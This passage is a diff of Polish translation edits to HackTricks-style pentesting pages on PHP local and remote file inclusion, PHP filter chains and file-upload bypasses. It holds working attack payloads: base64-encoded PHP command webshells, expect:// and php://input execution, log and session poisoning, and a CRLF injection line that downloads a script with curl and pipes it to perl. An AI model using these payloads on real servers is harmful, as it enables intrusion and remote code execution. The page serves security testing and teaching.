2 bajty początkowego tekstu). Kontynuuj, aż dojdziesz do żądanego bitu do leak. -W poście opublikowano także narzędzie automatyzujące ten proces: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +W poście udostępniono także narzędzie do automatyzacji tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: +Ten wrapper pozwala uzyskać dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatny do exfiltrate zawartości otwartych plików: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Możesz też użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku) +Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak mogłoby to być użyteczne w attack) ### zip:// and rar:// -Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\ -Aby móc nadużyć protokołu rar, musi on być **specjalnie aktywowany**. +Wgraj plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\ +Aby móc nadużywać protokołu rar, musi on być **specjalnie aktywowany**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -337,24 +328,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Zauważ, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`** +Należy pamiętać, że ten protokół jest ograniczony przez ustawienia PHP **`allow_url_open`** i **`allow_url_include`** ### expect:// -Expect musi być aktywowany. Możesz wykonać kod przy użyciu tego: +Expect musi być aktywowany. Możesz za jego pomocą wykonać kod: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -Podaj swój payload w parametrach POST: +Określ swój payload w parametrach POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Plik `.phar` może zostać wykorzystany do wykonania kodu PHP, gdy aplikacja webowa wykorzystuje funkcje takie jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`: +Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`: ```php [!WARNING] -> Ta technika ma zastosowanie w przypadkach, gdy kontrolujesz **file path** przekazywaną do **PHP function**, która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana. +> Ta technika ma zastosowanie w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** **funkcji PHP**, która będzie **uzyskiwać dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana. -W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) jest wyjaśnione, jak blind path traversal można wykorzystać za pomocą PHP filter, aby **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -W skrócie, technika używa kodowania **"UCS-4LE"** aby uczynić zawartość pliku tak **big**, że **PHP function opening** plik spowoduje **błąd**. +W skrócie, technika używa kodowania **"UCS-4LE"** aby sprawić, że zawartość pliku będzie tak **duża**, że **funkcja PHP otwierająca** plik wywoła **błąd**. -Następnie, aby leak pierwszego znaku, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na koniec filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**. +Następnie, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**. -Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Szczegóły techniczne znajdziesz we wspomnianym poście! +For the technical details check the mentioned post! ## LFI2RCE -### Arbitrary File Write via Path Traversal (Webshell RCE) +### Dowolny zapis pliku przez Path Traversal (Webshell RCE) -Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje docelową ścieżkę używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty `..` oraz ścieżki bezwzględne mogą wydostać się poza zamierzony katalog i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym do sieci (web-exposed directory), zazwyczaj uzyskujesz nieautoryzowane RCE przez upuszczenie webshell. +Gdy kod po stronie serwera, który przyjmuje/uploaduje pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty `..` i ścieżki absolutne mogą wydostać się poza zamierzony katalog i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz nieautoryzowane RCE poprzez upuszczenie webshell. Typowy przebieg eksploatacji: -- Zidentyfikuj write primitive w endpointzie lub background workerze, który przyjmuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.). +- Zidentyfikuj write primitive w endpointzie lub background workerze, który przyjmuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.). - Określ katalogi wystawione w sieci. Typowe przykłady: - - Apache/PHP: `/var/www/html/` - - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Stwórz traversal path, który wyjdzie z zamierzonego katalogu storage i przejdzie do webroot, dołączając zawartość webshell. -- Otwórz upuszczony payload w przeglądarce i wykonaj polecenia. +- Apache/PHP: `/var/www/html/` +- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` +- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Sporządź traversal path, który wydostanie się z zamierzonego katalogu przechowywania do webroot i dołącz zawartość webshell. +- Przejdź do upuszczonego payloadu i wykonaj polecenia. Uwagi: -- Usługa wykonująca zapis może nasłuchiwać na porcie innym niż HTTP (np. JMF XML listener na TCP 4004). Główne webowe portal (inny port) później będzie serwować twój payload. -- Na stosach Java zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak kanonizacji/allow-listingu jest główną wadą. +- Usługa podatna, która wykonuje zapis, może nasłuchiwać na porcie nie‑HTTP (np. a JMF XML listener na TCP 4004). Główny portal web (inny port) później będzie serwował twój payload. +- Na stosach Java zapisy tych plików często są implementowane prostą konkatenacją `File`/`Paths`. Brak kanonizacji/allow-listing jest główną wadą. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -475,26 +466,26 @@ in.transferTo(out); ``` -Umacnianie, które uniemożliwia tę klasę błędów: -- Rozwiązuj do kanonicznej ścieżki i egzekwuj, że jest ona potomkiem katalogu bazowego z listy dozwolonych. +Hardening that defeats this class of bugs: +- Rozwiąż do ścieżki kanonicznej i wymuszaj, żeby była potomkiem katalogu bazowego znajdującego się na liście dozwolonych. - Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. -- Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i separuj katalogi do zapisu od katalogów serwowanych. +- Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od serwowanych rootów. ## Remote File Inclusion -Wyjaśnione wcześniej, [**follow this link**](#remote-file-inclusion). +Wyjaśniono wcześniej, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Przez plik logu Apache/Nginx -Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **``** i dołączyć ten plik +Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **``** i dołączyć (include) ten plik > [!WARNING] -> Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na string "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. +> Zwróć uwagę, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na ciąg "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. > -> Upewnij się także, że **prawidłowo zapisujesz payload** albo PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz mieć drugiej szansy. +> Upewnij się również, że **prawidłowo zapiszesz payload**, bo w przeciwnym razie PHP będzie rzucać błąd za każdym razem, gdy będzie próbowało załadować plik logu i nie będziesz mieć drugiej szansy. -To można też zrobić w innych logach, ale **uważaj,** kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony w ten nagłówek.\ -Inne możliwe ścieżki logów: +To można też zrobić w innych logach, ale **uważaj,** kod w logach może być URL-encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell można wstawić do tego nagłówka.\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -510,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Przez e-mail -**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `` i spróbuj dołączyć go do maila użytkownika ze ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** +**Wyślij e-mail** na konto wewnętrzne (user@localhost) zawierający Twój PHP payload jak `` i spróbuj dołączyć do maila użytkownika ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** -### Via /proc/\*/fd/\* +### Przez /proc/*/fd/* -1. Wgraj wiele shelli (na przykład: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), z $PID = PID procesu (może być brute forced) i $FD to deskryptor pliku (również może być brute forced) +1. Wgraj dużo shells (na przykład: 100) +2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), przy czym $PID = PID procesu (can be brute forced) a $FD to deskryptor pliku (can be brute forced too) -### Via /proc/self/environ +### Przez /proc/self/environ -Podobnie jak w przypadku pliku logu, wyślij payload w nagłówku User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ +Podobnie jak w przypadku pliku logu — wyślij payload w polu User-Agent; zostanie on odzwierciedlony w pliku /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Przez upload -Jeśli możesz uploadować plik, po prostu wstrzyknij do niego shell payload (np : `` ). +Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Aby plik pozostał czytelny, najlepiej wstrzyknąć go do metadanych obrazów/doc/pdf +Aby zachować czytelność pliku, najlepiej wstrzyknąć to do metadanych obrazków/dokumentów/pdf -### Przez upload pliku Zip +### Przez przesłanie pliku ZIP -Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp: +Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp do: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -545,7 +536,7 @@ Sprawdź, czy strona używa PHP Session (PHPSESSID) Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -W PHP sesje te są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_ +W PHP te sesje są przechowywane w _/var/lib/php5/sess\\_\[PHPSESSID]\_ plikach ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -560,26 +551,26 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Przez ssh -Jeśli ssh jest aktywny, sprawdź, którego użytkownika używa (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** +Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** -### **Przez** **vsftpd** _**logs**_ +### **Przez** **vsftpd** _**logi**_ -Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje podatność Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: +Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdzie istnieje podatność Local File Inclusion (LFI) i dostęp do wystawionego serwera vsftpd jest możliwy, można rozważyć następujące kroki: -1. Zainjektuj PHP payload do pola username podczas procesu logowania. +1. Wstrzyknij payload PHP do pola username podczas procesu logowania. 2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. -### Przez php base64 filter (używając base64) +### Przez filtr php base64 (używając base64) -Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz tego użyć, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Przez php filters (bez potrzeby pliku) +### Przez php filters (nie jest potrzebny plik) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters do generowania dowolnej zawartości** jako wyjście. Co właściwie oznacza, że możesz **wygenerować dowolny kod php** dla include **bez potrzeby zapisywania** go do pliku. +Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters, aby wygenerować dowolną zawartość** jako wynik. Co w zasadzie oznacza, że możesz **wygenerować dowolny php code** dla include **bez konieczności zapisywania** go do pliku. {{#ref}} @@ -588,16 +579,16 @@ lfi2rce-via-php-filters.md ### Przez segmentation fault -**Wyślij** plik, który zostanie zapisany jako **tymczasowy** w `/tmp`, potem w **tym samym żądaniu** wywołaj **segmentation fault**, a wtedy **tymczasowy plik nie zostanie usunięty** i będziesz mógł go znaleźć. +Prześlij plik, który zostanie zapisany jako plik tymczasowy w /tmp, następnie w tym samym żądaniu wywołaj segmentation fault — w rezultacie plik tymczasowy nie zostanie usunięty i będziesz mógł go odnaleźć. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Przez przechowywanie plików tymczasowych Nginx +### Przez Nginx przechowywanie plików tymczasowych -If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: +Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu następującej techniki: {{#ref}} @@ -606,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md ### Przez PHP_SESSION_UPLOAD_PROGRESS -If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: +Jeśli znalazłeś Local File Inclusion nawet jeśli nie masz sesji, a `session.auto_start` jest `Off`. Jeśli dostarczysz `PHP_SESSION_UPLOAD_PROGRESS` w danych multipart POST, PHP włączy sesję za Ciebie. Możesz to nadużyć, aby uzyskać RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Przez przesyłanie plików tymczasowych w Windows +### Przez wysyłanie plików tymczasowych w Windows -If you found a **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE: +Jeśli znalazłeś Local File Inclusion i serwer działa na **Windows**, możesz uzyskać RCE: {{#ref}} @@ -624,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### Przez `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazywanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie zawiera `=`, powinien być użyty jako argument. Zobacz także [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +Następujące żądanie tworzy plik w /tmp/hello.php z zawartością ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Poniższe wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Poniższe wykorzystuje CRLF vuln, aby uzyskać RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -648,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Jeśli znalazłeś **Local File Inclusion** i możesz **can exfiltrate the path** pliku tymczasowego, ALE **serwer** **is** **checking** if the **file to be included has PHP marks**, możesz spróbować **bypass that check** za pomocą tego **Race Condition**: +Jeśli znalazłeś **Local File Inclusion** i **can exfiltrate the path** pliku tymczasowego, ALE **server** **is checking** czy **file to be included has PHP marks**, możesz spróbować **bypass that check** za pomocą tej **Race Condition**: {{#ref}} @@ -657,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Przez eternal waiting + bruteforce -Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **hang** wykonanie PHP, możesz następnie przez wiele godzin **brute force filenames during hours**, aby znaleźć plik tymczasowy: +Jeśli możesz nadużyć LFI, aby **upload temporary files** i sprawić, że **server** będzie **hang** wykonanie PHP, możesz wtedy **brute force filenames during hours**, aby odnaleźć plik tymczasowy: {{#ref}} @@ -666,10 +657,10 @@ lfi2rce-via-eternal-waiting.md ### Do Fatal Error -Jeśli dołączysz któryś z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). +Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). -**Nie wiem, jak to może być przydatne, ale może być.**\ -_Nawet jeśli spowodujesz PHP Fatal Error, przesłane tymczasowe pliki PHP są usuwane._ +**Nie wiem, jak to może być przydatne, ale może.**\ +_Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 7a965ed6f..58dc23de7 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -3,36 +3,36 @@ {{#include ../../banners/hacktricks-training.md}} -## Wstęp +## Wprowadzenie -Ten [**opis** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że można użyć **php filters to generate arbitrary content** jako wyjścia. Co w praktyce oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. -Celem skryptu jest w zasadzie **wygenerowanie Base64** ciągu na **początku** pliku, który zostanie **ostatecznie zdekodowany**, dostarczając żądany payload, który zostanie **zinterpretowany przez `include`**. +Zasadniczo celem skryptu jest **wygenerowanie ciągu Base64** na **początku** pliku, który zostanie **ostatecznie zdekodowany**, dostarczając żądany payload, który zostanie **zinterpretowany przez `include`**. -Podstawy, by to zrobić, to: +Podstawy, aby to osiągnąć, to: -- `convert.iconv.UTF8.CSISO2022KR` zawsze dopisze `\x1b$)C` do ciągu -- `convert.base64-decode` jest bardzo tolerancyjny, zasadniczo zignoruje znaki, które nie są poprawnym base64. Sprawia pewne problemy, jeśli napotka nieoczekiwane "=", ale te można usunąć filtrem `convert.iconv.UTF8.UTF7` +- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string +- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter. -Pętla do wygenerowania dowolnej treści wygląda następująco: +Pętla generująca dowolną zawartość wygląda następująco: -1. dopisz `\x1b$)C` do naszego ciągu jak opisano powyżej -2. zastosuj łańcuch konwersji iconv, który pozostawia nasz początkowy base64 nienaruszony i konwertuje część, którą właśnie dopisaliśmy, na taki ciąg, w którym jedynym poprawnym znakiem base64 jest następna część naszego base64-encoded php code -3. base64-decode i base64-encode ciągu, co usunie wszelki śmieć pomiędzy -4. wróć do 1 jeśli base64, który chcemy zbudować, nie jest jeszcze ukończony -5. base64-decode, aby otrzymać nasz kod php +1. dodać na początek `\x1b$)C` do naszego ciągu, jak opisano powyżej +2. zastosować łańcuch konwersji iconv, który pozostawi nasz początkowy base64 nienaruszony i przekształci część, którą właśnie dodaliśmy, w ciąg, w którym jedynym prawidłowym znakiem base64 jest następna część naszego base64-owanego php code +3. base64-decode i base64-encode ciągu, co usunie wszelkie śmieci pomiędzy +4. wrócić do kroku 1, jeśli base64, które chcemy skonstruować, nie jest jeszcze skończone +5. base64-decode, aby uzyskać nasz php code > [!WARNING] > **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! -## Jak dodać sufiksy do wynikowego ciągu danych +## Jak dodać również sufiksy do otrzymanych danych -[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix), jak można nadal nadużyć PHP filters, aby dodać sufiksy do wynikowego stringa. To przydatne, gdy potrzebujesz, aby output miał konkretny format (np. json lub dodanie PNG magic bytes). +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. To jest przydatne, gdy potrzebujesz, aby output miał określony format (np. json lub dodanie magicznych bajtów PNG). -## Automatyczne narzędzia +## Narzędzia automatyczne - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(może dodawać sufiksy)** ## Pełny skrypt ```python @@ -165,7 +165,7 @@ conversions = { '=': '' } ``` -Oto **skrypt** do uzyskania kodowań, które generują każdą literę b64: +Oto **script** do uzyskania kodowań, które generują każdą literę b64: ```php ``` -## Więcej odnośników +## Dodatkowe odnośniki - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index b02d3ae27..d09baccde 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -4,7 +4,7 @@ ## Ogólna metodologia przesyłania plików -Other useful extensions: +Inne przydatne rozszerzenia: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Omijanie kontroli rozszerzeń plików +### Omijanie sprawdzania rozszerzeń plików -1. Jeśli mają zastosowanie, **sprawdź** poprzednie rozszerzenia. Testuj je także używając wielkich liter: _pHp, .pHP5, .PhAr ..._ -2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_ +1. Jeśli mają zastosowanie, **sprawdź** **poprzednie rozszerzenia.** Przetestuj je także używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._ +2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj wcześniejszych rozszerzeń również):_ - _file.png.php_ - _file.png.Php5_ -3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce'owania** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz także spróbować użyć wcześniej wspomnianych rozszerzeń_) +3. Spróbuj dodać **specjalne znaki na końcu.** Możesz użyć Burp do **bruteforce'owania** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć wcześniej wspomnianych **rozszerzeń**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Spróbuj ominąć zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (bajtów **null**) pomiędzy rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** żeby przygotować lepszy payload._ +4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (**null** bytes) między rozszerzeniami. _Możesz także użyć wcześniejszych rozszerzeń do przygotowania lepszego payloadu._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia: +5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej próby: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Spróbuj umieścić **rozszerzenie wykonywalne przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne przy błędnych konfiguracjach Apache, gdzie wszystko z rozszerzeniem .php — nawet jeśli nie kończy się na .php — wykona kod): +6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i liczyć na to, że serwer jest źle skonfigurowany. (przydatne do 